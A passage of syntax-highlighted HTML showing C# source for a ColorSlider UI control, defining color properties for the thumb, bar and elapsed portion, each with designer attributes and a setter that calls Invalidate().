/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;thumb&nbsp;outer&nbsp;color&nbsp;.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;thumb&nbsp;outer&nbsp;color.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;thumb&nbsp;outer&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"White"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;ThumbOuterColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">thumbOuterColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;thumbInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;inner&nbsp;color&nbsp;of&nbsp;the&nbsp;thumb.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;inner&nbsp;color&nbsp;of&nbsp;the&nbsp;thumb.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;thumb&nbsp;inner&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"Gainsboro"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;ThumbInnerColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">thumbInnerColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;thumbPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Silver</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;color&nbsp;of&nbsp;the&nbsp;thumb&nbsp;pen.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;color&nbsp;of&nbsp;the&nbsp;thumb&nbsp;pen.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;thumb&nbsp;pen&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"Silver"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;ThumbPenColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">thumbPenColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">thumbPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;barOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">SkyBlue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;outer&nbsp;color&nbsp;of&nbsp;the&nbsp;bar.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;outer&nbsp;color&nbsp;of&nbsp;the&nbsp;bar.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;bar&nbsp;outer&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"SkyBlue"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;BarOuterColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">barOuterColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;barInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkSlateBlue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;inner&nbsp;color&nbsp;of&nbsp;the&nbsp;bar.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;inner&nbsp;color&nbsp;of&nbsp;the&nbsp;bar.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;bar&nbsp;inner&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"DarkSlateBlue"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;BarInnerColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">barInnerColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;barPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Gainsboro</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;color&nbsp;of&nbsp;the&nbsp;bar&nbsp;pen.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;color&nbsp;of&nbsp;the&nbsp;bar&nbsp;pen.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider&nbsp;bar&nbsp;pen&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"Gainsboro"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;BarPenColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">barPenColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">barPenColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;elapsedOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">DarkGreen</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;outer&nbsp;color&nbsp;of&nbsp;the&nbsp;elapsed.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;outer&nbsp;color&nbsp;of&nbsp;the&nbsp;elapsed.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider's&nbsp;elapsed&nbsp;part&nbsp;outer&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"DarkGreen"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;ElapsedOuterColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">elapsedOuterColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">elapsedOuterColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Invalidate</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;elapsedInnerColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">Chartreuse</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gets&nbsp;or&nbsp;sets&nbsp;the&nbsp;inner&nbsp;color&nbsp;of&nbsp;the&nbsp;elapsed.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;value&gt;The&nbsp;inner&nbsp;color&nbsp;of&nbsp;the&nbsp;elapsed.&lt;/value&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">Description</span><span style="color: #007700">(</span><span style="color: #DD0000">"Set&nbsp;Slider's&nbsp;elapsed&nbsp;part&nbsp;inner&nbsp;color"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">Category</span><span style="color: #007700">(</span><span style="color: #DD0000">"ColorSlider"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#91;</span><span style="color: #0000BB">DefaultValue</span><span style="color: #007700">(</span><span style="color: #0000BB">typeof</span><span style="color: #007700">(</span><span style="color: #0000BB">Color</span><span style="color: #007700">),&nbsp;</span><span style="color: #DD0000">"Chartreuse"</span><span style="color: #007700">)&#93;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;ElapsedInnerColor<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">elapsedInnerColor</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set<br 